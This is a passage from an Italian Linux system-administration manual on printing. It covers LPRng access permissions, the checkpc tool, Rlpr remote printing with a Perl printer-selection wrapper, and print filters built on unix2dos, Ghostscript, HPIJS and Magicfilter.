Il file '/etc/lprng/lpd.perms' serve a definire i permessi di accesso al servizio. Di solito, questo file viene fornito già predisposto per l'utilizzo locale normale; se si vuole concedere l'accesso da parte di clienti remoti è indispensabile modificare questo file, allo scopo di attivare i permessi necessari. Con ciò, si può intendere che LPRng non considera i file '/etc/hosts.equiv' e '/etc/hosts.lpd'.

```
# concede all'utente root sul servente di controllare i processi di stampa
ACCEPT SERVICE=C SERVER REMOTEUSER=root

# concede a chiunque di ottenere lo stato dei processi di stampa
ACCEPT SERVICE=S

# rifiuta le richieste di stampa dai nodi remoti
REJECT SERVICE=XRPQ NOT SERVER

# rifiuta tutto il resto
REJECT SERVICE=CSU

# concede agli utenti che accedono dai nodi originari,
# di eliminare i propri processi di stampa
ACCEPT SERVICE=M SAMEHOST SAMEUSER

# concede all'utente root sul servente di eliminare i processi di stampa
ACCEPT SERVICE=M SERVER REMOTEUSER=root
REJECT SERVICE=M

# tutte le altre operazioni sono concesse
DEFAULT ACCEPT
```

L'esempio appena mostrato rappresenta un file '/etc/lprng/lpd.perms' tipico, dove in particolare sono esclusi gli accessi da parte di clienti remoti. Per fare in modo di consentire l'accesso sommario da parte di una sottorete, si può modificare la direttiva seguente:

```
REJECT SERVICE=XRPQ NOT SERVER
```

Questa deve essere trasformata così:

```
REJECT SERVICE=XRPQ NOT SERVER NOT REMOTEIP=192.168.0.0/255.255.0.0
```

In tal modo, secondo l'esempio, si concede a tutta la sottorete 192.168.*.* di accedere.

Naturalmente, si può concedere l'accesso a chiunque, senza limitazioni, mettendo nel file '/etc/lprng/lpd.perms' soltanto la direttiva seguente:

```
DEFAULT ACCEPT
```

Un vantaggio importante nell'uso di LPRng sta nella possibilità di accedere direttamente a servizi di stampa remoti, senza dover passare per una coda locale configurata nel file '/etc/printcap'. Tutto è molto semplice: nelle situazioni in cui è consentito indicare il nome di

una coda di stampa, si può usare la notazione seguente per accedere direttamente al servizio remoto corrispondente:

```
coda@nodo
```

L'esempio seguente invia alla stampa, presso la coda '**lp**' del nodo di rete *roggen.brot.dg*, il file 'lettera'.

$ **lpr -P lp@roggen.brot.dg lettera** [*Invio*]

Infine, è bene tenere presente che è possibile verificare la correttezza della configurazione attraverso il programma di servizio '**checkpc**' (*Check printcap*):

```
checkpc [opzioni] [file_printcap]
```

Di solito si utilizza '**checkpc**' senza argomenti di alcun tipo, allo scopo di controllare il file '/etc/printcap' (ovvero quello predefinito), gli altri file di configurazione e le directory delle code. Il controllo riguarda sia la configurazione, sia i permessi dei file. È molto importante l'opzione '**-f**', con la quale si richiede a '**checkpc**' di provvedere da solo a sistemare ciò che è possibile. Naturalmente, l'uso di '**checkpc**' con l'opzione '**-f**' è riservato all'utente '**root**'.

Prima di utilizzare '**checkpc**' è opportuno concludere il funzionamento di tutti i demoni '**lpd**' che fossero eventualmente in funzione.

checkpc -f [*Invio*]

A titolo di esempio viene mostrato quello che potrebbe essere generato da questo comando:

```
 Checking permission file '/etc/lpd.perms:/usr/etc/lpd.perms'
 Freeing Perms
 Done Perms
 LPD lockfile '/var/spool/lpd/lpd.lock.tizio.printer'
  Checking directory: '/var/spool/lpd'
   checking file '/var/spool/lpd/lpd.lock.tizio.printer'
 Truncating LPD log file '/var/spool/lpd/lpd.log.tizio'
 Checking /var/spool/lpd/lpd.log.tizio file '/var/spool/lpd/lpd.log.tizio'
checkpc: Warning - cannot open '/var/spool/lpd/lpd.log.tizio'
 lp: Checking printer 'lp'
 lp:  Checking directory: '/var/spool/lpd/lp'
 lp:   checking file '/var/spool/lpd/lp/control.lp'
 lp:   checking file '/var/spool/lpd/lp/status.lp'
 lp:   checking file '/var/spool/lpd/lp/status'
 lp:   checking file '/var/log/lp-errs'
 lp:   checking file '/var/log/lp-acct'
 lp: Checking log file '/var/log/lp-errs'
 lp:    'log' file 0 bytes long: no truncation
 lp: Checking accounting file '/var/log/lp-acct'
```

```
lp:    'accounting' file 2316 bytes long: no truncation
lp: Checking filter status file '/var/spool/lpd/lp/status'
lp:    'filter status' file 0 bytes long: no truncation
```

30.2.10 Stampare attraverso X con un sistema di stampa BSD

Quando si inizia a utilizzare il sistema grafico X con la gestione della stampa basata sul modello tradizionale di BSD, ci si deve accontentare di stampare senza pretendere di interagire con la stampante. Tuttavia può essere necessario conoscere le code di stampa disponibili, secondo la configurazione del file '/etc/printcap', e di conseguenza può essere richiesto di verificare il comando usato effettivamente dai programmi per la stampa.

Generalmente, i programmi che hanno la necessità di stampare propongono una riga di comando per la stampa, per cui sarebbe anche possibile utilizzare un sistema di stampa che dispone di un cliente diverso dal solito programma '**lpr**'.

Alcuni programmi più vecchi possono stampare soltanto con l'ausilio di un programma che si chiami '**lpr**' e che si comporti come quello tradizionale di BSD, richiedono solo l'indicazione della voce del file '/etc/printcap' e quindi pretendendo di utilizzare l'opzione '**-P**'.

Figura 30.27. A sinistra si vede un esempio di programma che è in grado di stampare solo attraverso '**lpr**'. Se non viene indicato il nome di una coda di stampa, si fa riferimento a '**lp**', o comunque a quella predefinita. A destra si vede un programma normale che permette l'indicazione di una riga di comando completa (o quasi). In ogni caso non deve essere inserito il nome del file da stampare che di norma viene fornito attraverso lo standard input, oppure come ultimo argomento.

30.2.11 Librerie GTK 2

Alcuni programmi che richiedono la grafica, basano l'accesso alla stampa sulle funzionalità della libreria GTK. In tal caso, per poter utilizzare un servizio di stampa in stile BSD, occorre predisporre la configurazione della libreria per questo scopo, con il file '/etc/gtk-2.0/gtkrc'. In questo file serve la riga seguente:

```
gtk-print-backends = "file,lpr,cups"
```

Utilizzando la direttiva mostrata nell'esempio, così come si vede, si abilita la possibilità di stampare su file, su un sistema di stampa BSD ed eventualmente anche su CUPS.

30.2.12 Sviluppo successivo

Il sistema di stampa BSD tradizionale consente soltanto di inviare un file alla stampante. Sta all'amministratore del sistema configurare le code di stampa in modo da predisporre dei filtri appropriati.

Così facendo, però, diventa difficile richiedere alla stampante delle opzioni di funzionamento particolari; per esempio non si può selezionare il formato della carta (supponendo di disporre di cassetti con formati alternativi), così come non è possibile abilitare o disabilitare la stampa fronte-retro (*duplex*) automatica, a meno di agire fisicamente sulla stampante.

Per risolvere questo problema, esiste la possibilità di definire dei file di configurazione particolari, associati ognuno a un tipo specifico di stampante: i file PPD (*PostScript printer description*). Benché il nome suggerisca la relazione stretta con stampanti PostScript, in pratica si possono realizzare file PPD anche per altri tipi.

Per approfondire l'argomento si può leggere il documento *Tutorial on CUPS and Foomatic*, in particolare la parte terza: *Some theoretical background: CUPS, PPDs, PostScript and GhostScript*, di Till Kamppeter e Kurt Pfeifle ⟨*http://www.openprinting.org/download/kpfeifle/LinuxKongress2002/Tutorial/III.PostScript-and-PPDs/III.PostScript-and-PPDs.html*⟩. Il sistema di stampa Cups viene introdotto nella sezione 30.8, ma senza approfondire il problema dei file PPD.

30.3 Stampa remota attraverso Rlpr

Il pacchetto di programmi Rlpr,[3] estraneo al sistema di stampa BSD tradizionale, può essere molto utile per stampare utilizzando servizi remoti, senza passare per la configurazione del file '`/etc/printcap`' locale. Tuttavia, è il caso di ricordare che non c'è bisogno di tali programmi nel caso si disponga già di un sistema di stampa LPRng, in cui i programmi clienti normali sono in grado di fare questo da soli.

Rlpr sostituisce in pratica alcuni programmi di servizio, tipici del sistema di stampa BSD, con altri, caratterizzati da una lettera «r» iniziale, che sta per «remoto»:

```
rlpr [opzioni] [file_da_stampare...]
```

```
rlpq [opzioni] [numero_processo_di_stampa...] [utente...]
```

```
rlprm [opzioni] [utente...]
```

Come si può intuire, questi programmi sostituiscono, nell'ordine, '**`lpr`**', '**`lpq`**' e '**`lprm`**'.

Questi programmi, per compiere il loro lavoro correttamente, richiedono i privilegi dell'utente '**`root`**', pertanto hanno solitamente il bit SUID attivo, appartenendo all'utente '**`root`**' (SUID-root), come documentato chiaramente nelle pagine di manuale *rlpr(1)*, *rlpq(1)* e *rlprm(1)*.

Molte delle opzioni dei programmi originali, sono preservate; con qualche aggiunta e qualche modifica. In particolare:

Opzione	Descrizione
-H *nodo* --printhost=*nodo*	Definisce l'elaboratore remoto al quale ci si vuole rivolgere per ottenere la stampa. Al posto di utilizzare questa opzione si può sfruttare il nome della coda di stampa per includervi anche l'indicazione del nodo di rete remoto. Si osservi a tal fine la descrizione dell'opzione '**-P**'.
-P*coda* [@*nodo*] --printer=*coda* [@*nodo*] --queue=*coda* [@*nodo*]	Seleziona la coda di stampa remota. Se non si utilizza l'opzione '**-H**', si può usare la notazione *coda*@*nodo*.

A titolo di esempio vengono mostrati due comandi equivalenti, per ottenere la stampa del contenuto della directory corrente, attraverso la coda '**lp**' presso l'indirizzo 192.168.1.1:

$ **ls -l | rlpr --printhost=192.168.1.1 -Plp** [*Invio*]

$ **ls -l | rlpr -Plp@192.168.1.1** [*Invio*]

30.3.1 Scelta automatica della stampante remota

Supponendo di avere a disposizione diverse stampanti remote, si potrebbe avere la necessità di selezionare in qualche modo la coda di stampa, cercando di sfruttare la prima stampante libera. Qui viene proposto un piccolo programma Perl che trova la stampante con la coda libera, oppure accoda in modo casuale, purché si tratti di una coda attiva. Per comodità, si può dare a questo programma proprio il nome '**lpr**', in modo da renderlo trasparente all'utilizzatore.

```
#!/usr/bin/perl
#
# Indicare qui l'elenco delle code di stampa remote disponibili:
#
@printers = ("lp\@stampante1.brot.dg",
              "lp\@stampante2.brot.dg",
              "lp\@stampante3.brot.dg",
              "lp\@stampante4.brot.dg",
              "lp\@stampante5.brot.dg",
              "lp\@stampante6.brot.dg",
              "lp\@stampante7.brot.dg");
#
# Questa funzione esegue un comando del sistema operativo, restituendo
# quanto emesso dallo stesso attraverso i flussi standard.
#
sub system_output
{
    local ($command)  = $_[0];
    local ($line)     = "";
    local ($result)   = "";
    #
    # Esegue il comando.
```

```
    #
    open (COMMAND, "$command 2>&1 |");
    #
    # Recupera il risultato emesso dal comando.
    #
    while ($line = <COMMAND>)
      {
        $result = $result . $line
      }
    #
    # Chiude il flusso generato dal comando.
    #
    close (COMMAND);
    #
    return $result;
}
#
# Inizio del programma.
#
local ($arguments)      = "";
local ($noauto)         = 0;
local ($n)              = 0;
local ($test)           = "";
#
# Scandisce gli argomenti.
#
for ($n = 0; $n <= $#ARGV; $n++)
  {
    #
    # Analizza l'argomento $n-esimo.
    #
    if ($ARGV[$n] =~ m/^-P.*/
           || $ARGV[$n] =~ m/^--printer=.*/
           || $ARGV[$n] =~ m/^--queue=.*/)
      {
        #
        # In questo caso, è stata già specificata la coda di stampa
        # dall'utilizzatore.
        #
        $noauto    = 1;
      }
    #
    # Mette da parte l'argomento scandito.
    #
    $arguments = $arguments . " " . $ARGV[$n];
  }
#
```

```
# Se è stata specificata la stampante, non si procede in modo
# automatico.
#
if ($noauto)
  {
    system ("| rlpr $arguments");
    exit;
  }
#
# In condizioni normali, si cerca la prima stampante che risulta
# pronta.
#
for ($n = 0; $n <= $#printers; $n++)
  {
    $test = &system_output ("rlpq -P$printers[$n]");
    if ($test =~ m/^no entries$/)
      {
        system ("rlpr -P$printers[$n] $arguments");
        print STDOUT ("Stampa inviata a $printers[$n]\n");
        exit;
      }
  }
#
# Se non è stata trovata una stampante libera, si cerca una stampante
# che non abbia problemi.
#
while ($#printers > 0)
  {
    $n = (int ((rand) * $#printers) - 1);
    $test = &system_output ("rlpq -P$printers[$n]");
    if ($test !~ m/error/i
        && $test !~ m/warning/i)
      {
        system ("rlpr -P$printers[$n] $arguments");
        print STDOUT ("Stampa inviata a $printers[$n]\n");
        exit;
      }
    #
    # Elimina l'elemento dall'array.
    #
    splice (@printers, $n, 1);
  }
#
# Se nessuna stampante è nelle condizioni di poter stampare,
# avvisa.
#
print STDERR ("Nessuna delle stampanti previste è nelle condizioni ");
```

```
print STDERR ("di poter stampare.\n");
```

30.4 Stampa automatica da un file

Può capitare di utilizzare programmi che sono in grado esclusivamente di stampare utilizzando un file su disco. Per fare in modo che questo file venga trasmesso automaticamente alla stampante, si può realizzare uno script come quello seguente:

```
#!/bin/sh
PRINT_FILE=$1
PREVIOUS_SIZE="0"
while true
do
    sleep 2
    SIZE=`ls -s --block-size=1 $PRINT_FILE | sed "s/^ *\([0-9]*\) .*$/\1/"`
    if [ "$PREVIOUS_SIZE" = "$SIZE" ] && [ "$SIZE" != "0" ]
    then
        lpr $PRINT_FILE
        cat /dev/null > $PRINT_FILE
        PREVIOUS_SIZE="0"
    else
        PREVIOUS_SIZE="$SIZE"
    fi
done
```

In pratica, dopo un'attesa di due secondi, viene verificata la dimensione del file, confrontandola con la dimensione precedente (inizialmente è zero). Se la dimensione è cambiata, il file viene inviato alla stampa e viene annullato il suo contenuto.

Per interpretare cosa accade nel comando che serve a estrarre la dimensione del file, si può immaginare di averne uno di 1 Mibyte:

$ **ls -s --block-size=1 mio_file.ps** [*Invio*]

```
1048576 mio_file.ps
```

Il comando '**sed**' riceve questo risultato attraverso lo standard input ed estrae solo il valore numerico:

$ **echo 1048576 mio_file.ps | sed "s/^ *\([0-9]*\) .*$/\1/"** [*Invio*]

```
1048576
```

Questo meccanismo di stampa non può essere perfetto, però può essere una soluzione accettabile in mancanza di altro. Supponendo che lo script si chiami '**STAMPA**', supponendo che il file da controllare sia '`/tmp/mio_file.ps`', si potrebbe usare così:

$ **STAMPA /tmp/mio_file.ps &** [*Invio*]

30.5 File e filtri per la stampa

Il sistema che gestisce le code dei processi di stampa e la stampa remota, rappresenta solo una parte della soluzione del problema della stampa. È importante chiarire in che modo devono essere composti i file per la stampa e come questi vanno gestiti dai filtri di stampa.

30.5.1 File per la stampa

Negli ambienti Unix si utilizzano normalmente due tipi fondamentali di file per la stampa:

- file di testo, o ASCII;
- file PostScript.

Teoricamente, i file di testo sono stampabili con qualunque tipo di stampante, mentre i file PostScript richiedono una stampante PostScript. In pratica, quasi sempre non è possibile stampare un file di testo così com'è e raramente si dispone di una stampante PostScript.

Negli ambienti Unix i file di testo (o file ASCII) seguono la convenzione dell'interruzione di riga attraverso il codice ASCII *<LF>*. Con il sistema operativo Dos è stato introdotto un codice differente, corrispondente a *<CR><LF>*. La maggior parte delle stampanti in circolazione è adatta a questo ultimo tipo di interruzione di riga, per cui, il solo carattere *<LF>* produce un avanzamento alla riga successiva, senza il ritorno alla prima colonna. Quando si invia un file di testo in stile Unix a una stampante che richiede l'interruzione di riga in stile Dos, si ottiene il noto ***effetto scalettatura***. Per esempio, si osservi il testo seguente:

```
Uno
Due
Tre
Quattro
Cinque
Sei
Sette
```

La stampa potrebbe produrre questo effetto:

```
Uno
   Due
      Tre
         Quattro
                Cinque
                      Sei
                         Sette
```

Per ovviare a tale inconveniente, prima di inviare un file di testo Unix a una stampante normale, occorre trasformare i codici di interruzione di riga in modo che comprendano sia *<CR>*, sia *<LF>*.

Il programma che tipicamente è in grado di eseguire questa conversione è '**`unix2dos`**'. Di questo ne esistono diverse edizioni incompatibili tra loro, accomunate solo dallo scopo. Qui si fa riferimento a un programma filtro, ovvero a uno '**`unix2dos`**' che riceve il file da convertire

dallo standard input e restituisce il risultato attraverso lo standard output (è importante sottolineare questo fatto perché esistono delle versioni che non si comportano così). I filtri di stampa sono descritti più avanti in questo capitolo, per il momento dovrebbe bastare sapere che si può utilizzare il programma '**unix2dos**' (o un altro programma simile) prima di inviare il file al programma '**lpr**', come si vede nell'esempio seguente:

$ **cat esempio.txt | unix2dos | lpr** [*Invio*]

Come accennato, il programma '**unix2dos**' non è standard e a volte si può incontrare una versione che non funziona esattamente come negli esempi indicati qui. Eventualmente, se la propria distribuzione GNU/Linux dispone di questo programma di servizio, conviene consultare la sua documentazione: *unix2dos(1)*.

In alternativa al programma '**unix2dos**' si può scrivere uno script Perl molto semplice e intuitivo, anche per chi non conosce tale linguaggio (che viene descritto nel capitolo 27).

```
#!/usr/bin/perl
#
# filtro-crlf.pl < FILE_INPUT > FILE_OUTPUT
#
$riga = "";
#
while ($riga = <STDIN>)
  {
    #
    # Elimina il codice di interruzione di riga finale.
    #
    chomp $riga;
    #
    # Emette la riga con l'aggiunta di <CR> e <LF>.
    #
    print "$riga\r\n";
  };
#
```

Il sistema PostScript ha introdotto una sorta di rivoluzione nel modo di stampare: attraverso un linguaggio standardizzato ha reso la stampa indipendente dal tipo particolare di stampante utilizzato. L'unico inconveniente delle stampanti PostScript è il prezzo.

Fortunatamente, negli ambienti Unix è disponibile il programma Ghostscript in grado di trasformare un file PostScript in diversi formati, ognuno compatibile con un tipo diverso di stampante.

Nella maggior parte dei casi, quando cioè non si dispone di una stampante PostScript, si devono convertire i file PostScript in un formato accettabile dalla propria stampante. L'uso dei filtri di stampa permette di automatizzare questa operazione. Nella sezione 29.1 viene descritto con maggiore dettaglio in che modo questi file PostScript possono essere gestiti.

30.5.2 Filtri di stampa

Attraverso il file '`/etc/printcap`', per ogni singolo record di descrizione di una coda, è possibile definire un gran numero di filtri di stampa, ognuno con uno scopo particolare. Di fatto, è preferibile limitarsi a utilizzarne uno solo, precisamente quello del campo '**`if`**', o *Input filter*. Il programma o lo script indicato nel campo '**`if`**' riceve alcuni argomenti:

filtro_if [*opzioni*]

In particolare:

Argomento	Descrizione
`-c`	viene passato solo quando il programma '**`lpr`**' riceve l'opzione '**`-l`**' e dovrebbe servire al programma filtro per sapere che non deve applicare alcuna trasformazione;
`-w`***larghezza***	rappresenta la larghezza del foglio in caratteri, ammesso che ciò possa avere significato;
`-l`***lunghezza***	rappresenta la lunghezza del foglio in righe, ammesso che ciò possa avere significato;
`-i`***rientro***	rappresenta il rientro sinistro in caratteri, ammesso che ciò possa avere significato;
`-n` ***utente***	rappresenta il nome dell'utente che ha avviato la stampa;
`-h` ***nodo***	rappresenta l'elaboratore dal quale parte la richiesta di stampa.

A meno di voler studiare in modo approfondito l'uso del sistema di stampa di cui si dispone, la maggior parte di questi argomenti sono inutilizzabili. È molto più facile costruire un file di configurazione aggiuntivo, da fare leggere al filtro ogni volta che viene avviato, piuttosto che pretendere di fare tutto attraverso l'interpretazione degli argomenti ottenuti automaticamente. In ogni caso, si può contare su due argomenti, eventualmente utilizzabili per produrre intestazioni, o per produrre un registro (un *log*): il nome dell'utente e il nome dell'elaboratore.

30.5.2.1 Filtro diagnostico

Gli argomenti forniti al filtro di stampa potrebbero essere diversi da quanto dichiarato dalla documentazione; comunque, vale la pena di verificare cosa succede costruendo la prima volta un filtro diagnostico simile allo script seguente:

```
#!/bin/sh
pwd > /tmp/test-stampa
echo $1 >> /tmp/test-stampa
echo $2 >> /tmp/test-stampa
echo $3 >> /tmp/test-stampa
echo $4 >> /tmp/test-stampa
echo $5 >> /tmp/test-stampa
echo $6 >> /tmp/test-stampa
echo $7 >> /tmp/test-stampa
echo $8 >> /tmp/test-stampa
echo $9 >> /tmp/test-stampa
echo ${10} >> /tmp/test-stampa
echo ${11} >> /tmp/test-stampa
echo ${12} >> /tmp/test-stampa
echo ${13} >> /tmp/test-stampa
echo ${14} >> /tmp/test-stampa
echo ${15} >> /tmp/test-stampa
echo ${16} >> /tmp/test-stampa
echo ${17} >> /tmp/test-stampa
echo ${18} >> /tmp/test-stampa
echo ${19} >> /tmp/test-stampa
echo ${20} >> /tmp/test-stampa
```

Come si può vedere, viene creato il file '`/tmp/test-stampa`' con l'indicazione della directory corrente ('**`pwd`**') e quindi l'elenco dei contenuti dei vari parametri, ovvero l'elenco degli argomenti ricevuti. La voce (il record) di '`/etc/printcap`' che utilizza questo filtro potrebbe essere composta nel modo seguente ('`/var/spool/lpd/prova/filtro-prova`' è il nome dello script visto sopra).

```
prova:\
        :sd=/var/spool/lpd/prova:\
        :mx#0:\
        :sh:\
        :lp=/dev/lp0:\
        :if=/var/spool/lpd/prova/filtro-prova:
```

Quando si stampa utilizzando la voce '**`prova`**' non si ottiene alcuna stampa: viene creato il file '`/tmp/test-stampa`'.[4]

`tizio@dinkel.brot.dg$` **`lpr -Pprova lettera`** [*Invio*]

Il comando precedente, avviato dall'utente '**`tizio`**' a partire dall'elaboratore *`dinkel.brot.dg`*, dovrebbe generare il file '`/tmp/test-stampa`' con il contenuto seguente:

```
/var/spool/lpd/prova
-hdinkel.brot.dg
-l66
-ntizio
-w80
…
```

Al contrario, un sistema imperfetto potrebbe non corrispondere alle aspettative. Si osservi a questo proposito l'esito seguente che è stato ottenuto in passato da un sistema di stampa BSD che non si comportava nel modo previsto:

```
/var/spool/lpd/prova
-w132
-l66
-i0
tizio
-h
dinkel.brot.dg
```

Qui si può notare che l'opzione '**`-n`**' non esiste e al suo posto viene fornito il nome dell'utente senza il prefisso di alcuna opzione.

Una cosa utile da osservare è la directory corrente: corrisponde sempre alla directory della coda di stampa.

30.5.2.2 Filtri elementari

Quando si realizza un filtro di stampa personalizzato, raramente si vanno a cercare sottigliezze che sono comunque già disponibili all'interno di pacchetti di filtri già fatti da altri. Di solito ci si accontenta di trasformare lo standard input e di restituire uno standard output adatto alle proprie esigenze, ignorando completamente gli argomenti che il filtro riceve.

L'esempio tipico è il filtro che permette di stampare un file di testo in stile Unix su una stampante che richiede la conclusione della riga attraverso <*CR*><*LF*>. Come già accennato all'inizio del capitolo, basta utilizzare il programma '**`unix2dos`**' (purché ci sia e funzioni come filtro), oppure lo script che è stato mostrato.

Bisogna fare attenzione: il filtro di stampa riceve degli argomenti, anche se questi non servono. Se si tenta di utilizzare '**`unix2dos`**', o qualunque altro programma direttamente come filtro, si rischia di ottenere solo una segnalazione di errore in quanto potrebbe non essere in grado di comprendere gli argomenti ricevuti. Per risolvere il problema, occorre realizzare uno script, in modo da poter eliminare gli argomenti inutilizzati.

Segue l'esempio di una voce del file '`/etc/printcap`':

```
testo:\
        :sd=/var/spool/lpd/testo:\
        :mx#0:\
        :sh:\
        :lp=/dev/lp1:\
        :if=/var/spool/lpd/testo/filtro:
```

Segue l'esempio dello script utilizzato come filtro:

```
#!/bin/sh
/usr/bin/unix2dos
```

È necessario osservare un paio di particolari:

- è importante indicare il filtro con il suo percorso assoluto;
- i programmi utilizzati all'interno di uno script che funge da filtro di stampa devono essere indicati con il loro percorso assoluto.

Infatti, non si può contare sulla conoscenza della directory corrente nel momento in cui questi vengono messi in esecuzione e nemmeno sulla disponibilità di una variabile di ambiente ***PATH*** appropriata.

30.5.2.3 Filtri PostScript

Tutti i filtri di stampa in grado di convertire file PostScript in qualcosa di stampabile senza una stampante PostScript, si avvalgono del programma Ghostscript ('**gs**'). L'esempio seguente mostra uno script che riceve dallo standard input un file PostScript e restituisce attraverso lo standard output un file stampabile con una HP Laserjet o compatibile.

```
#!/bin/sh
/usr/bin/gs -q -dNOPAUSE -sPAPERSIZE=a4 -sDEVICE=laserjet -sOutputFile=- -
```

Dal momento che diventa complicato per Ghostscript gestire una quantità smisurata di stampanti differenti, esiste anche la possibilità di mettere in comunicazione questo con un altro programma, attraverso un protocollo noto come IJS. Il protocollo IJS consente di realizzare un programma specifico per la gestione della stampante, controllabile però da Ghostscript. Il programma più importante (e probabilmente l'unico) in grado di comunicare con Ghostscript attraverso il protocollo IJS è HPIJS (sviluppato originariamente da Hewlett-Packard per le proprie stampanti, ma utilizzabile attualmente anche per quelle di altre case produttrici),[5] costituito dal file eseguibile '**hpijs**'. Utilizzando HPIJS, il programma '**hpijs**' non viene avviato da solo, ma attraverso '**gs**'. Per esempio, volendo gestire una stampante HP Laserjet, come nell'esempio già visto, ma attraverso HPIJS, si potrebbe modificare lo script già presentato nel modo seguente:

```
#!/bin/sh
/usr/bin/gs -q -dNOPAUSE \
            -sDEVICE=ijs -sIjsServer=hpijs -dIjsUseOutputFD \
            -sDeviceManufacturer="HEWLETT-PACKARD" \
            -sDeviceModel="HP LaserJet" \
            -sOutputFile=- -
```

30.5.2.4 Problemi

In passato è capitato che una versione particolare del sistema di stampa BSD per GNU/Linux avesse un difetto che non le permetteva di utilizzare il flusso di dati proveniente dal filtro di stampa. Nel caso dovesse verificarsi nuovamente questa situazione, si può utilizzare un trucco: il filtro di stampa riceve i dati dallo standard input nel modo solito e li trasforma. Quindi, invece di emettere il risultato della sua elaborazione attraverso lo standard output, lo invia a un'altra coda di stampa.

In pratica, si può supporre che il file '`/etc/printcap`' sia composto come segue:

```
lp:\
        :sd=/var/spool/lpd/lp:\
        :mx#0:\
        :sh:\
        :lp=/dev/lp0:

testo:\
        :sd=/var/spool/lpd/testo:\
        :mx#0:\
        :sh:\
        :lp=/dev/lp0:\
        :if=/var/spool/lpd/testo/filtro:
```

Supponendo che la trasformazione del testo avvenga tramite il programma '**`unix2dos`**', il filtro '`/var/spool/lpd/testo/filtro`' potrebbe essere realizzato nel modo seguente:

```
#!/bin/sh
/usr/bin/unix2dos | lpr -Plp
```

30.5.2.5 Filtri sofisticati

Non è necessario complicarsi troppo la vita. Spesso la distribuzione GNU/Linux che si ha a disposizione è già predisposta in modo da facilitare la creazione di filtri di stampa.

Anche quando non si è così «fortunati», esiste sempre un'alternativa migliore allo scriversi il proprio filtro (salvo casi particolari). Un esempio è Apsfilter[6] che senza molta fatica genera da solo il file '`/etc/printcap`', le directory per le code di stampa e i filtri necessari; un altro è Magicfilter, più semplice, ma efficace.

Infine, è il caso di ricordare il pacchetto PSUtils [7] che è composto da una serie di programmi di servizio in grado di rielaborare file PostScript, cosa utile per esempio quando su un solo foglio si vogliono stampare più pagine ridotte.

30.5.3 Magicfilter

Magicfilter[8] è un sistema di filtri per la stampa organizzato in modo semplice ed efficace. Si tratta di un programma, precisamente l'eseguibile '**`magicfilter`**', in grado di individuare il tipo di file che gli viene fornito attraverso lo standard input e di conseguenza di elaborarlo nel modo migliore ai fini della stampa. Per ottenere questo risultato, è necessaria la preparazione di un file di configurazione, con il quale si indicano le impronte di riconoscimento dei file, ovvero il magic number, e le azioni da compiere a seconda del tipo di file individuato. Questo comportamento spiega la ragione del nome: un filtro di stampa abbinato all'individuazione del magic number.

L'idea più importante di Magicfilter sta nel fatto che i suoi file di configurazione, distinti in base al tipo di stampante per i quali devono essere utilizzati, sono degli script per Magicfilter. Questo fatto semplifica tante cose, soprattutto nella configurazione del file '`/etc/printcap`'.

30.5.3.1 Configurazione di Magicfilter

Il file di configurazione tipico di Magicfilter inizia generalmente con la dichiarazione del suo interprete, essendo in pratica uno script dell'eseguibile '**`magicfilter`**':

```
#! /usr/sbin/magicfilter
...
```

In questo file, il simbolo '**`#`**' serve a indicare l'inizio di un commento, fino alla fine della riga; le righe bianche e quelle vuote vengono ignorate. Le altre righe, sono direttive, secondo la sintassi seguente:

scostamento stringa_di_riconoscimento operazione_da_compiere

In pratica, si tratta di campi separati da uno o più spazi: il primo è un numero che esprime lo scostamento in byte dall'inizio del file, per individuare il punto a partire dal quale si deve iniziare il confronto con la stringa indicata nel secondo campo (quello che sarebbe il magic number); il terzo campo è la descrizione delle azioni da compiere nel caso in cui il file corrisponda alla stringa di riconoscimento.

Il numero che indica lo scostamento è espresso normalmente in base decimale; può essere usata una notazione ottale, se la prima cifra è uno zero; si può utilizzare anche una notazione esadecimale che deve essere preceduta dal prefisso 0x... Il valore zero corrisponde all'inizio del file, qualunque altro valore (positivo) rappresenta un numero equivalente di byte da saltare prima di iniziare il confronto con la stringa di riconoscimento.

La stringa di riconoscimento è una stringa normale, che può contenere delle sequenze di escape secondo la convenzione del linguaggio C, oltre a due aggiunte: '**`\?`**' che rappresenta un carattere qualunque e '**`\`**' seguita da uno spazio che rappresenta uno spazio letterale, allo scopo di non interrompere il campo. Eventualmente, questa stringa può anche essere racchiusa tra apici doppi; in tal caso, non c'è bisogno di proteggere lo spazio con la barra obliqua inversa.

Una direttiva di questo file di configurazione può essere continuata sulla riga successiva, ponendo alla fine della riga da continuare il simbolo '**`\`**'.

L'ultima parte di queste direttive è più complessa da descrivere, in quanto si compone di una parola chiave iniziale, a cui possono seguire altre indicazioni che variano in base alla parola chiave stessa.

Questo file viene scandito dal suo interprete, '**magicfilter**', dall'inizio alla fine; la scansione termina nel momento in cui una direttiva corrisponde al file, ovvero, quando i primi due campi sono tali da determinare la corrispondenza. In questo senso, le combinazioni più dettagliate devono avere la precedenza rispetto a quelle più generiche. Inoltre, esiste una variante alla sintassi di queste direttive, costituita dalla forma seguente:

```
default operazione_da_compiere
```

Questa direttiva va posta alla fine del file di configurazione, per indicare cosa fare con i file che non sono stati riconosciuti diversamente e di solito viene usata proprio per gestire i file di testo.

Quando l'operazione da compiere prevede l'avvio di un programma o di uno script, vengono rese disponibili alcune variabili di ambiente, che possono essere indicate anche nell'ambito degli argomenti di questo comando. Le variabili disponibili effettivamente dipendono dalla quantità di informazioni a cui Magicfilter può accedere, cosa che dipende a sua volta dalle caratteristiche del demone di stampa; tuttavia, sono disponibili sempre la variabile ***LPUSER***, che contiene il nome dell'utente proprietario del processo di stampa, e ***LPHOST***, con il nome dell'elaboratore da cui ha avuto origine la richiesta di stampa.

Tabella 30.49. Alcune operazioni.

Opzione	Descrizione
`cat` [*prefisso* [*suffisso*]]	Questa definizione serve a ottenere la copia dei dati senza conversioni, aggiungendo eventualmente una stringa come prefisso e una come suffisso, prima e dopo il file. Le stringhe in questione si possono realizzare nello stesso modo in cui si realizza la stringa di riconoscimento, con l'eccezione della sequenza '**\?**', che in questo contesto non ha significato.
`ignore` `reject` *messaggio*	Queste due definizioni alternative, fanno in modo di non restituire dati in uscita; in particolare, '**reject**' tenta di inviare un messaggio all'utente a cui appartiene il processo di stampa, attraverso la posta elettronica.
`filter` *comando*	l comando indicato viene eseguito passandogli il flusso di dati che interessa il filtro e ci si attende che restituisca i dati trasformati nel modo adatto per la stampa. Questo comando può accedere alle variabili di ambiente create da Magicfilter e queste gli possono essere fornite anche tra le opzioni, usando la notazione '**$***variabile*'.
